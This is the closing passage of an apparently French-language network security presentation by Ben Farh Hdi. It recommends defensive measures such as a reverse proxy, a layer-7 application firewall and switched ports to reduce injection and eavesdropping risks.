Ben Farh Hdi

XXII. Lemploi dun Reverse Proxy comme ISA Server ou autre pour enrayer
les injections de codes et les accs direct au serveur proprement dit. En effet, le
Reverse Proxy permet dintercepter les requtes des utilisateurs pour les
reformuler lui-mme vers le serveur ; ceci empchant au navigateur client laccs
la page rfrence du serveur afin de pouvoir modifier, ensuite, le code existant
par injection de code, JavaScript ou autres.
XXIII. Un Pare-feu Applicatif utilisant des filtres de niveau 7 sur lchelle OSI.
XXIV. - De mme, il faut prconiser lutilisation de Switch ports commuts plutt que
des Hubs qui diffusent en Broadcast afin dviter les coutes sur le rseau.
Ceci peut paratre succinct et ne protgera pas des attaques dites
Man in the Middle mais, encore une fois, elle rduira la surface dattaque.
Nota : Les nouveaux protocoles SSH2 protgent maintenant des softs dcoutes
comme Ettercap.

Ben Farh Hdi

MERCI

Ben Farh Hdi